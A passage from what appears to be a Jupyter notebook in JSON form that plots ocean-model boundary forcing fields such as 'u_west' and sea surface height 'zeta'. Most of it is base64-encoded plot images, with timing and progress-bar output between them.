R1CpVLx588bYoQghhBB6IcmBEEKYuPDwcGOHIIQQ4ishyYEQQnyGVqtlwoQJ5M2blzRp0lCqVCk2bdrE/fv3qVGjBgD29vaoVCo6dOgAwN69e6lcuTJ2dnZkzJiRBg0acOfOnXgd7/79+6hUKtavX0+1atWwtrbGy8sr+vWpU6eSLVs2MmbMiJubW4zE4fXr17Rr1w57e3vSpk3Ljz/+yO3bt/X3YQghhEj1JDkQQojPmDBhAqtWrWLhwoVcvXqV/v3707ZtW/755x82b94MwM2bN3n69CmzZs0CIDg4mAEDBnD27FkOHjyIWq2madOmaLXaeB/X3d2dvn37cv36derWrQvA4cOHuXPnDocPH2blypV4enri6ekZ/Z4OHTpw9uxZduzYga+vL4qiUK9ePal5EEIIEW8qRVEUYwchhBCmKDQ0FAcHBw4cOICzs3P0+i5duhASEkK3bt2oUaMGr1+/xs7OLs79vHz5ksyZM3P58mWKFy/+2WPev3+fvHnzMnPmTPr27Ru9vkOHDhw5coQ7d+5gZmYGwM8//4xarWbdunXcvn2bQoUKceLECSpWrAjAq1evyJkzJytXruSnn35KwichhBDia2Fu7ACEEMJU/f3334SEhFC7du0Y68PCwvj222/jfN/t27cZOXIkfn5+vHz5MrrG4MGDB19MDqKULVs21rpixYpFJwYA2bJl4/LlywBcv34dc3NzKlSoEP16xowZKVy4MNevX4/XMYUQQghJDoQQIg7v3r0DYNeuXXzzzTcxXrOysoqzH0HDhg3JnTs3S5YsIXv27Gi1WooXL05YWFi8j50uXbpY6ywsLGL8rVKpEtRUSQghhPgSSQ6EECIOTk5OWFlZ8eDBA6pVqxbr9YcPHwKg0Wii17169YqbN2+yZMkSqlSpAsDx48cNHmvRokWJiIjAz88vRrOimzdv4uTkZPDjCyGESB0kORBCiDhkyJCB3377jf79+6PVaqlcuTKBgYGcOHECGxsbatWqhUqlwtvbm3r16pEmTRrs7e3JmDEjixcvJlu2bDx48AB3d3eDx1qwYEEaN25M165dWbRoERkyZMDd3Z1vvvmGxo0bG/z4QgghUgcZrUgIIT5j7NixjBgxggkTJlC0aFFcXFzYtWsXefPm5ZtvvmHMmDG4u7uTNWtWevXqFd1B+Ny5cxQvXpz+/fszZcqUZIl1xYoVfPfddzRo0ABnZ2cURWH37t2xmiMJIYQQcZHRioQQQgghhBCA1BwIIYQQQgghPpLkQAghktH48eNJnz69zuXHH380dnhCCCG+ctKsSAghklFAQAABAQE6X0uTJk2sIVOFEEKI5CTJgRBCCCGEEAKQZkVCCCGEEEKIjyQ5EEIIIYQQQgCSHAghhBBCCCE+kuRACCGEEEIIAUhyIIQQQgghhPhIkgMhhBBCCCEEIMmBEEIIIYQQ4qP/A59eITswlS2vAAAAAElFTkSuQmCC", "text/plain": [ "<Figure size 900x500 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "with ProgressBar():\n", " %time boundary_forcing.plot(\"u_west\", time=0, layer_contours=True)" ] }, { "cell_type": "markdown", "id": "d3baef1d-337a-4368-a6e8-42aa3408e1a2", "metadata": {}, "source": [ "Sea surface height `zeta` at any of the boundaries and for a specific time is only a 1D variable." ] }, { "cell_type": "code", "execution_count": 12, "id": "1b679c8e-8142-4752-af3f-40213f78219a", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 101.87 ms\n", "CPU times: user 12.2 s, sys: 3.75 ms, total: 12.2 s\n", "Wall time: 141 ms\n" ] }, { "data": { "image/png": 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